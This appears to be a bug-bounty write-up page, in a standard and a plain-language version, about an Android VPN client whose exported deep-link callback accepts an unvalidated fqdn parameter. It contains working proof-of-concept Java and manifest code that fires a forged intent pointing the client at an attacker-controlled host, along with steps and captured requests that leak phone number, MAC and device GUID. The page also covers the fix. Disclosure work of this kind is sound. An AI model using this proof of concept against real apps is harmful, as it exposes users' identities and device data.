Skip to content
Mobile Write-up Intermediate

Hijacking Your VPN with one Deep Link

An exported deep-link callback in a mobile VPN client accepted an unvalidated fqdn parameter, allowing any app on the device to redirect the client's registration API calls to an attacker-controlled server. During the login window, this leaked the user's phone number, MAC address, device GUID, and other device details.

medium.com

Published on medium.com

Bug Bounty

Hussein Ayoub, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This is a write-up of a vulnerability I reported to a private bug bounty program. The target is a carrier-grade mobile VPN / secure-access client, an Android app that registers the device against a backend.

Like many such clients, login happens in a browser tab. The app opens the tab, the user authenticates on the web, and the web flow redirects back into the app through a deep link. The callback carries parameters that tell the client how to finish setting itself up. One of those parameters is fqdn, the hostname of the backend the client should register against.

During the short window where the app is waiting for that OAuth login to complete, a malicious app sitting on the same device can hand it a different backend, and the VPN client happily starts sending its device-registration API calls there. The cause was an unvalidated fqdn parameter on an exported deep-link callback, and it led to potentially leaking the user's phone number, MAC address, device GUID and more.

From the original on medium.com

Setup

Nothing exotic was needed on the analysis side:

  1. Pull the APK.
  2. Decompile with jadx for readable Java and apktool for the manifest and resources.
  3. Run an LLM-assisted pass over the output to surface the components worth reading by hand, before reading anything myself.

For deep-link bugs the things I want flagged are cheap to express:

  • every activity with android:exported="true" (or an intent-filter, which exports it implicitly)
  • any activity that reads getIntent().getData() and pulls query parameters out of it
  • any of those parameters that end up in a URL, a hostname, a Retrofit/OkHttp base URL, or a loadUrl

The pass flagged two exported activities that both read a fqdn query parameter off the incoming URI and fed it into the client's registration base URL. That combination is where the human work started.

On the attack side, the only precondition is that the attacker's app is installed on the same device as the target app. The PoC app requests a single permission, INTERNET, and nothing security-sensitive: no root, no accessibility service, no notification access.

Finding it

The app declared two callback activities, both exported, both reachable by any other app:

  • WebLoginCallbackActivity
  • WebCallbackHandlerActivity

Their job is legitimate. After the user authenticates in a browser tab, the web flow redirects back into the app through one of these deep links, and the callback carries parameters telling the client how to finish setting itself up.

The problem is that the callback accepts fqdn from whoever sends the intent, with no validation that:

  • the callback is a response to a login the app itself started, and
  • the hostname actually belongs to the vendor.

So any app on the device can forge the callback and supply its own fqdn.

Reconstructed, the deep link the app is willing to accept looks like this:

Text
vpnclient://callback?vpnEnabled=true&advancedMode=false&fqdn=<ATTACKER_HOST>&tenant=<...>&userId=<...>

<ATTACKER_HOST> is a domain I control. There is no allowlist check against it, and no binding to the originating request. The client takes that hostname and uses it as the base for its registration API calls.

There is one timing condition, and it is generous. The redirect-back is only accepted during the login window, roughly 180 seconds after the user taps login and the browser tab opens. That sounds like it would make exploitation fiddly. It does not. A malicious app can watch for the moment the user starts a login (the browser tab opening is observable) and fire the forged callback immediately, well inside the window. From the user's point of view nothing unusual happens. They log in like they always do.

Exploitation

Step 1: build the PoC app

The PoC app is a plain activity with a couple of buttons. Its manifest requests a single permission, INTERNET, and nothing else:

XML
<manifest xmlns:android="http://schemas.android.com/apk/res/android">    <uses-permission android:name="android.permission.INTERNET" />    <application android:label="VPN Callback PoC">        <activity android:name=".MainActivity" android:exported="true">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>    </application></manifest>

Step 2: fire the forged callback

Firing the forged callback is a handful of lines. Build the URI with my own fqdn, mark it BROWSABLE so it looks like a normal web redirect, and target the exported callback component directly:

Java
Uri uri = Uri.parse("vpnclient://callback?vpnEnabled=true"        + "&advancedMode=false"        + "&fqdn="   + Uri.encode(attackerHost)           + "&tenant=" + Uri.encode(tenant)        + "&userId=" + Uri.encode(userId));Intent intent = new Intent(Intent.ACTION_VIEW, uri);intent.addCategory(Intent.CATEGORY_BROWSABLE);intent.setComponent(new ComponentName(        "com.vendor.vpnclient",        "com.vendor.vpnclient.ui.WebLoginCallbackActivity"));startActivity(intent);

The intent is marked BROWSABLE so it looks like a normal web redirect, and the fqdn value is the attacker-controlled host.

The second exported activity (WebCallbackHandlerActivity) accepts a slightly richer URI with an extra backend-host parameter, and works the same way. Two doors into the same room.

Step 3: trigger it on the victim device

  1. Install the PoC on the same device as the target app.
  2. Open the target app, tap Login, enter a phone number, submit. The app opens a browser tab for authentication.
  3. While that tab is open, switch to the PoC app and fire the forged callback.
  4. Watch the attacker server.

Step 4: observe the registration traffic

I pointed fqdn at an interactsh instance. Within the login window, two HTTPS requests from the victim device landed on my server:

HTTP
GET /portal/services?action=discover&username=<phone>&device_mac=<mac>&guid=<guid>...GET /portal/services?action=preregister&username=<phone>&device_mac=<mac>&private_ip=<ip>...

The client had accepted my hostname as its backend and started its registration handshake against it.

Root cause

The callback activities trust the fqdn parameter from any sender. There is no check that the callback corresponds to a login the app itself started, and no check that the hostname belongs to the vendor. The inbound parameter is allowed to freely choose the control-plane host, and the client then uses that hostname as the base for its registration API calls.

Two design choices made this reachable. First, both callback activities are exported, so any app on the device can send them an intent. Second, the redirect-back is only accepted during a window of roughly 180 seconds after login starts, which is easy to hit because the opening of the browser tab is observable.

Impact

Everything the client sends during registration goes to the attacker instead of the real backend:

  • phone number (MSISDN)
  • device MAC address
  • persistent device GUID
  • private IP address
  • device model, OS version, client version

That is a precise, stable fingerprint of a person and their device, tied to their phone number, handed over with no interaction beyond the login they were already doing.

Three things make this worse than a generic info leak:

  • Data exfiltration. Identity and device data (above) goes straight to the attacker's server.
  • Backend substitution. Because the attacker chose the control-plane host, the server can respond. A crafted registration response is the natural next step toward steering the client (for example, toward an attacker-influenced VPN profile). The redirection itself is proven here; where it leads is the obvious follow-on.
  • It is invisible and unprivileged. No user interaction beyond the normal login, and zero meaningful permissions on the attacking app.

Fix

Two changes, both small, and you want both:

Bind the callback to the request that started it. When the app kicks off the login, generate a one-time, unguessable state token, keep it in memory, and refuse any callback that does not echo it back. This alone kills the forged-intent path, because the attacker's app cannot know the token.

Validate fqdn against a server-side allowlist. The set of backends this client is ever allowed to talk to is small and known. Check the incoming hostname against it (exact match or a real suffix match, not a substring check) and reject anything else. Never let an inbound parameter freely choose the control-plane host.

Disclosure timeline

Date Event
11/Aug/26 Reported
12/Aug/26 Acknowledged and triaged
30/Sep/26 Fixed and validated
01/Oct/26 Rewarded
  • Other exported activities that read getIntent().getData(). Grep the decompiled output for getData() and trace each query parameter to a URL, hostname, Retrofit/OkHttp base URL or loadUrl. A positive result is a parameter that reaches a network base URL without an allowlist check.
  • Other deep-link parameters that select a backend. Look for parameters with names like fqdn, host, server, baseUrl, endpoint or tenant. A positive result is one of them being used to build the registration or control-plane base URL.
  • Callbacks without a state binding. Check whether the login callback carries a one-time token generated when the login starts, and whether the app rejects a callback that does not echo it. A positive result is a forged callback being accepted during the login window.
  • The second callback activity. In this app, WebCallbackHandlerActivity accepted a richer URI with an extra backend-host parameter and worked the same way. Test every exported callback, not just the first one found.
  • Timing windows. Measure how long the app accepts a redirect-back after login starts. A positive result is a window wide enough to fire a forged callback after observing the browser tab open.
  • Permission footprint of the attacking app. Confirm the forged callback works from an app holding only INTERNET. A positive result is a successful registration handshake to the attacker host with no privileged permissions on the attacking app.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

This is a write-up of a vulnerability I reported to a private bug bounty program. The target is a carrier-grade mobile VPN / secure-access client, an Android app that registers the device against a backend.

A VPN (virtual private network) is software that creates an encrypted tunnel between your device and a server run by a company, so that your traffic leaves from that server instead of from your phone. A "carrier-grade" VPN client is the kind of app a mobile network operator gives its customers. "Secure-access client" means the same idea: the app lets you reach company or operator resources safely from a phone.

Before the app can set up that tunnel, it has to know which server to talk to. It does this by "registering the device against a backend". A backend is the server side of the app, the part you never see, which stores information about you and your device. "Registering" means the app sends your details to that server so the server knows who you are and can prepare a VPN profile for you. A VPN profile is the bundle of settings the app uses to build the tunnel.

Like many such clients, login happens in a browser tab. The app opens the tab, the user authenticates on the web, and the web flow redirects back into the app through a deep link. A deep link is a web address with a custom prefix, something like vpnclient://..., that is not meant for a website but for a specific app installed on the phone. When the phone sees that address, it hands it to the app that registered that prefix. "Redirects back into the app" means the web page, once you have logged in, sends the browser to one of these addresses so the app can pick up where the web page left off.

The callback carries parameters that tell the client how to finish setting itself up. A parameter is a named value attached to an address, the part after a ? and separated by &, for example name=value. A callback is the message the app receives when the web flow comes back to it. One of those parameters is fqdn, the hostname of the backend the client should register against. A hostname is the human-readable name of a server, like example.com. FQDN stands for fully qualified domain name, the complete name of a machine on the internet.

During the short window where the app is waiting for that OAuth login to complete, a malicious app sitting on the same device can hand it a different backend, and the VPN client happily starts sending its device-registration API calls there. OAuth is a common way for one app or website to let you log in through another, for example "log in with Google". An API is the set of addresses and rules one piece of software uses to talk to another; an API call is a single request sent to one of those addresses. So the app was waiting for the login to finish, and during that wait another app on the phone could tell it "your backend is over here instead", and the VPN client believed it.

The cause was an unvalidated fqdn parameter on an exported deep-link callback, and it led to potentially leaking the user's phone number, MAC address, device GUID and more. "Unvalidated" means the app accepted the value without checking it. "Exported" is an Android term meaning other apps on the phone are allowed to send messages to that part of the app. A MAC address is the hardware identifier of a network chip, and a GUID is a long random-looking identifier the app generates to recognise your device over time.

From the original on medium.com

Setup

Nothing exotic was needed on the analysis side. The goal of this phase was to get from a downloaded app file to readable source code, so that I could look for the parts that handle incoming links.

  1. Pull the APK. An APK is the file format Android apps are distributed in, the equivalent of an installer. "Pull" means obtaining that file, for example from a device or from a download source.
  2. Decompile with jadx for readable Java and apktool for the manifest and resources. Decompiling means turning the compiled app back into something close to source code. jadx is a tool that does this for Android apps and produces Java-like code. apktool is another tool that unpacks the app's manifest and resources. The manifest is a file inside every Android app that declares what the app contains and what it is allowed to do; resources are the non-code files such as layouts and text.
  3. Run an LLM-assisted pass over the output to surface the components worth reading by hand, before reading anything myself. An LLM is a large language model, the kind of AI system behind chat assistants. "LLM-assisted" means I used one to skim a large amount of decompiled code and point out interesting parts, so that my own reading time went to the few places that mattered.

For deep-link bugs the things I want flagged are cheap to express. "Flagged" means the automated pass marks them for my attention. The list below is the set of patterns I asked it to look for:

  • every activity with android:exported="true" (or an intent-filter, which exports it implicitly). An activity is one screen or one entry point of an Android app. android:exported="true" in the manifest says other apps may start it. An intent-filter is a declaration of which kinds of messages an activity wants to receive; declaring one makes the activity reachable from outside the app even without the explicit exported flag.
  • any activity that reads getIntent().getData() and pulls query parameters out of it. An intent is the message one Android component sends to another, and it can carry a web address. getIntent().getData() is the code call that retrieves that address. Query parameters are the name=value pairs after the ?.
  • any of those parameters that end up in a URL, a hostname, a Retrofit/OkHttp base URL, or a loadUrl. Retrofit and OkHttp are widely used libraries for making network requests from Android apps; a base URL is the starting address all of an app's API calls are built on. loadUrl is the call that tells a built-in browser view to open an address. In short: I wanted to know if any value from an incoming link reaches a place that decides where the app connects.

The pass flagged two exported activities that both read a fqdn query parameter off the incoming URI and fed it into the client's registration base URL. A URI is the general term for an address like the deep link above. "Fed it into the base URL" means the value from the link became the starting point for the app's registration requests. That combination is where the human work started: an automated pass can point at code, but a person has to confirm that the path is really reachable and really dangerous.

On the attack side, the only precondition is that the attacker's app is installed on the same device as the target app. The PoC app requests a single permission, INTERNET, and nothing security-sensitive: no root, no accessibility service, no notification access. A PoC, proof of concept, is a small program built only to demonstrate that a bug is real. Android permissions are the capabilities an app must declare and the user must grant; INTERNET is the permission to use the network, which almost every app has. "Root" is full administrative control of the phone. An accessibility service is an Android feature that lets an app read and control the screen, which is very powerful. Notification access lets an app read your notifications. The point is that the attacking app needed none of these powerful things.

Finding it

The app declared two callback activities, both exported, both reachable by any other app:

  • WebLoginCallbackActivity
  • WebCallbackHandlerActivity

Their job is legitimate. After the user authenticates in a browser tab, the web flow redirects back into the app through one of these deep links, and the callback carries parameters telling the client how to finish setting itself up.

The problem is that the callback accepts fqdn from whoever sends the intent, with no validation that:

  • the callback is a response to a login the app itself started, and
  • the hostname actually belongs to the vendor.

Think of it like a hotel reception that accepts any note saying "move this guest to room 402" without checking who wrote the note or whether the guest ever asked to move. The note is supposed to come from the booking system, but nothing on the paper proves it.

So any app on the device can forge the callback and supply its own fqdn. "Forge" means to produce a message that looks like the real one but was made by someone else.

Reconstructed, the deep link the app is willing to accept looks like this:

Text
vpnclient://callback?vpnEnabled=true&advancedMode=false&fqdn=<ATTACKER_HOST>&tenant=<...>&userId=<...>

Line by line, in plain words:

  • vpnclient:// is the custom prefix that tells Android this address belongs to the VPN app, not to a website.
  • callback is the name of the entry point inside the app that should handle it.
  • ? starts the list of parameters.
  • vpnEnabled=true says the VPN should be enabled.
  • &advancedMode=false is another setting, here switched off. The & separates parameters.
  • &fqdn=<ATTACKER_HOST> is the important one: it tells the app which server to use, and the placeholder stands for a domain the attacker controls.

<ATTACKER_HOST> is a domain I control. There is no allowlist check against it, and no binding to the originating request. An allowlist is a list of values that are explicitly permitted, everything else being refused. "No binding to the originating request" means the app never checks that this callback belongs to a login it actually started; any callback arriving during the right moment is treated as genuine. The client takes that hostname and uses it as the base for its registration API calls.

There is one timing condition, and it is generous. The redirect-back is only accepted during the login window, roughly 180 seconds after the user taps login and the browser tab opens. That sounds like it would make exploitation fiddly. It does not. A malicious app can watch for the moment the user starts a login (the browser tab opening is observable) and fire the forged callback immediately, well inside the window. From the user's point of view nothing unusual happens. They log in like they always do.

"Observable" here means another app on the phone can notice that a browser tab has opened, without any special permission. Three minutes is a long time for software: a program can react in milliseconds, so hitting a 180-second window is not a race at all.

Exploitation

Step 1: build the PoC app

The PoC app is a plain activity with a couple of buttons. Its manifest requests a single permission, INTERNET, and nothing else:

XML
<manifest xmlns:android="http://schemas.android.com/apk/res/android">    <uses-permission android:name="android.permission.INTERNET" />    <application android:label="VPN Callback PoC">        <activity android:name=".MainActivity" android:exported="true">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>    </application></manifest>

This is the app's manifest, the file that describes the app to Android. Line by line:

  • <manifest ...> opens the file and declares the Android namespace, which is just the vocabulary the file uses.
  • <uses-permission android:name="android.permission.INTERNET" /> asks for the one permission the app needs: access to the network. Nothing else is requested.
  • <application android:label="VPN Callback PoC"> starts the description of the app itself, with the name shown under its icon.
  • <activity android:name=".MainActivity" android:exported="true"> declares the app's single screen. exported="true" means it can be started from outside, which is normal for an app with a launcher icon.
  • <intent-filter> with android.intent.action.MAIN and android.intent.category.LAUNCHER says this screen is the one that opens when the user taps the app icon.
  • The closing tags end the activity, the application and the manifest.

The reason for showing this is to make the permission footprint concrete: the attacking app is an ordinary app with network access, the same kind of permission a weather app has.

Step 2: fire the forged callback

Firing the forged callback is a handful of lines. Build the URI with my own fqdn, mark it BROWSABLE so it looks like a normal web redirect, and target the exported callback component directly:

Java
Uri uri = Uri.parse("vpnclient://callback?vpnEnabled=true"        + "&advancedMode=false"        + "&fqdn="   + Uri.encode(attackerHost)           + "&tenant=" + Uri.encode(tenant)        + "&userId=" + Uri.encode(userId));Intent intent = new Intent(Intent.ACTION_VIEW, uri);intent.addCategory(Intent.CATEGORY_BROWSABLE);intent.setComponent(new ComponentName(        "com.vendor.vpnclient",        "com.vendor.vpnclient.ui.WebLoginCallbackActivity"));startActivity(intent);

Line by line, in plain words:

  • Uri uri = Uri.parse(...) builds the deep link as a piece of text and turns it into a URI object the system understands. The text is assembled from the same parameters as the reconstructed link above.
  • Uri.encode(attackerHost), Uri.encode(tenant) and Uri.encode(userId) make the values safe to place inside an address, so that characters with special meaning do not break it. attackerHost is the domain the attacker controls.
  • new Intent(Intent.ACTION_VIEW, uri) creates an intent, the Android message, whose action is "view this address".
  • intent.addCategory(Intent.CATEGORY_BROWSABLE) marks the message as the kind of thing a web page redirect would produce, so it resembles a normal login return.
  • intent.setComponent(new ComponentName(...)) names the exact app and screen to deliver the message to: the package com.vendor.vpnclient and the class com.vendor.vpnclient.ui.WebLoginCallbackActivity. A package is an app's unique identifier on the phone; a class is a named piece of code inside it.
  • startActivity(intent) sends the message.

The explicit setComponent call addresses the exported activity by package and class name, so no intent filter matching is involved. The CATEGORY_BROWSABLE category makes the intent resemble a normal redirect from a web page. The fqdn value is the attacker-controlled host.

The second exported activity (WebCallbackHandlerActivity) accepts a slightly richer URI with an extra backend-host parameter, and works the same way. Two doors into the same room.

Step 3: trigger it on the victim device

  1. Install the PoC on the same device as the target app.
  2. Open the target app, tap Login, enter a phone number, submit. The app opens a browser tab for authentication.
  3. While that tab is open, switch to the PoC app and fire the forged callback.
  4. Watch the attacker server.

The order matters. The forged callback is only accepted while the target app is waiting for the login to come back, so the attacker has to send it during that wait. Watching the attacker server is how you confirm the trick worked: if the victim's app really switched backends, requests will arrive there.

Step 4: observe the registration traffic

I pointed fqdn at an interactsh instance. interactsh is a free service that gives you a domain you control and records every request that reaches it, which is exactly what you need to prove that a victim's device connected to you. Within the login window, two HTTPS requests from the victim device landed on my server:

HTTP
GET /portal/services?action=discover&username=<phone>&device_mac=<mac>&guid=<guid>...GET /portal/services?action=preregister&username=<phone>&device_mac=<mac>&private_ip=<ip>...

Line by line, in plain words:

  • GET is the method of the request, meaning "give me this". HTTPS is the encrypted version of the protocol browsers and apps use to talk to servers.
  • /portal/services is the path on the server that the app called.
  • &username=<phone> carries the user's phone number.
  • &device_mac=<mac> carries the device's MAC address.
  • &guid=<guid> carries the persistent device identifier.
  • The second line is the same path with action=preregister, carrying the phone number, the MAC and private_ip=<ip>.

The client had accepted my hostname as its backend and started its registration handshake against it. A handshake is the opening exchange between two programs before they start doing real work.

Root cause

The callback activities trust the fqdn parameter from any sender. There is no check that the callback corresponds to a login the app itself started, and no check that the hostname belongs to the vendor. The inbound parameter is allowed to freely choose the control-plane host, and the client then uses that hostname as the base for its registration API calls. The control plane is the part of the system that manages and configures devices, as opposed to the part that carries your traffic.

Two design choices made this reachable. First, both callback activities are exported, so any app on the device can send them an intent. Second, the redirect-back is only accepted during a window of roughly 180 seconds after login starts, which is easy to hit because the opening of the browser tab is observable.

Impact

Everything the client sends during registration goes to the attacker instead of the real backend:

  • phone number (MSISDN)
  • device MAC address
  • persistent device GUID
  • private IP address
  • device model, OS version, client version

MSISDN is the technical name for a mobile phone number. OS version is the version of the phone's operating system, and client version is the version of the VPN app itself.

That is a precise, stable fingerprint of a person and their device, tied to their phone number, handed over with no interaction beyond the login they were already doing. A fingerprint here means a combination of details that identifies one specific device, in the way a set of measurements can identify one person.

Three things make this worse than a generic info leak:

  • Data exfiltration. Identity and device data (above) goes straight to the attacker's server. Exfiltration means data leaving where it should be and ending up with someone who should not have it.
  • Backend substitution. Because the attacker chose the control-plane host, the server can respond. A crafted registration response is the natural next step toward steering the client (for example, toward an attacker-influenced VPN profile). The redirection itself is proven here; where it leads is the obvious follow-on. In other words, the attacker is not only receiving data, they are also the one answering, and the app will believe the answers.
  • It is invisible and unprivileged. No user interaction beyond the normal login, and zero meaningful permissions on the attacking app. Unprivileged means the attacking app holds no special powers on the phone.

Fix

Two changes, both small, and you want both:

Bind the callback to the request that started it. When the app kicks off the login, generate a one-time, unguessable state token, keep it in memory, and refuse any callback that does not echo it back. This alone kills the forged-intent path, because the attacker's app cannot know the token. A token here is a short random value used as proof; "one-time" means it is used once and then discarded, and "unguessable" means it is long and random enough that nobody can predict it. "Echo it back" means the callback must contain the same value the app generated. It is like a cloakroom ticket: only the person holding the matching ticket gets the coat.

Validate fqdn against a server-side allowlist. The set of backends this client is ever allowed to talk to is small and known. Check the incoming hostname against it (exact match or a real suffix match, not a substring check) and reject anything else. Never let an inbound parameter freely choose the control-plane host. A suffix match means the end of the name must match, so evil-example.com does not pass a check for example.com; a substring check would wrongly accept it because the text appears inside.

Disclosure timeline

Date Event
11/Aug/26 Reported
12/Aug/26 Acknowledged and triaged
30/Sep/26 Fixed and validated
01/Oct/26 Rewarded

"Acknowledged and triaged" means the program confirmed it received the report and sorted it by severity and owner. "Validated" means the fix was checked and confirmed to work. "Rewarded" means a bounty was paid.

These are the follow-up checks I would run on another app of the same kind, or on the next version of this one:

  • Other exported activities that read getIntent().getData(). Grep the decompiled output for getData() and trace each query parameter to a URL, hostname, Retrofit/OkHttp base URL or loadUrl. A positive result is a parameter that reaches a network base URL without an allowlist check. To grep is to search text for a pattern.
  • Other deep-link parameters that select a backend. Look for parameters with names like fqdn, host, server, baseUrl, endpoint or tenant. A positive result is one of them being used to build the registration or control-plane base URL.
  • Callbacks without a state binding. Check whether the login callback carries a one-time token generated when the login starts, and whether the app rejects a callback that does not echo it. A positive result is a forged callback being accepted during the login window.
  • The second callback activity. In this app, WebCallbackHandlerActivity accepted a richer URI with an extra backend-host parameter and worked the same way. Test every exported callback, not just the first one found.
  • Timing windows. Measure how long the app accepts a redirect-back after login starts. A positive result is a window wide enough to fire a forged callback after observing the browser tab open.
  • Permission footprint of the attacking app. Confirm the forged callback works from an app holding only INTERNET. A positive result is a successful registration handshake to the attacker host with no privileged permissions on the attacking app.

Glossary

  • Activity: one screen or entry point of an Android app.
  • Allowlist: a list of values that are explicitly permitted, with everything else refused.
  • API: the set of addresses and rules one piece of software uses to talk to another.
  • API call: a single request sent to one of those addresses.
  • APK: the file format Android apps are distributed in.
  • Backend: the server side of an app, which the user never sees directly.
  • Base URL: the starting address that an app's network requests are built on.
  • Bounty: a payment made by a company to someone who reports a security bug in its product.
  • Callback: the message an app receives when a web flow returns to it.
  • Class: a named piece of code inside a program.
  • Control plane: the part of a system that manages and configures devices, as opposed to the part that carries traffic.
  • Deep link: an address with a custom prefix that opens a specific app instead of a website.
  • Decompile: turn a compiled program back into something close to source code.
  • Exfiltration: data leaving where it should be and reaching someone who should not have it.
  • Exported: an Android setting meaning other apps on the phone may send messages to that component.
  • FQDN: fully qualified domain name, the complete name of a machine on the internet.
  • GUID: a long random-looking identifier used to recognise a device or object over time.
  • Hostname: the human-readable name of a server, such as example.com.
  • HTTPS: the encrypted version of the protocol used to talk to servers.
  • Intent: the message one Android component sends to another.
  • Intent filter: a manifest declaration of which kinds of messages a component wants to receive, which also makes it reachable from outside the app.
  • interactsh: a service that gives you a domain and records every request that reaches it.
  • jadx: a tool that decompiles Android apps into Java-like code.
  • LLM: large language model, the kind of AI system behind chat assistants.
  • MAC address: the hardware identifier of a network chip.
  • Manifest: the file inside an Android app that declares its components and permissions.
  • MSISDN: the technical name for a mobile phone number.
  • OAuth: a common way to log in to one service through another, for example "log in with Google".
  • OkHttp: a widely used library for making network requests from Android apps.
  • Parameter: a named value attached to an address after a ?, written name=value and separated by &.
  • PoC: proof of concept, a small program built only to demonstrate that a bug is real.
  • Query parameter: a parameter in the part of an address that follows the ?.
  • Retrofit: a widely used library for making network requests from Android apps, built on OkHttp.
  • Root: full administrative control of a phone.
  • Suffix match: a check that the end of a name matches, so evil-example.com does not pass a check for example.com.
  • Token: a short random value used as proof of something, ideally one-time and unguessable.
  • Triage: sorting a reported bug by severity and owner.
  • URI: the general term for an address, such as a deep link.
  • VPN: virtual private network, software that creates an encrypted tunnel between your device and a server.
  • VPN profile: the bundle of settings an app uses to build a VPN tunnel.

Similar reports

View all

Same bug class and techniques, clearest first.

Mobile app vulnerabilities

The lesson behind this report.

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.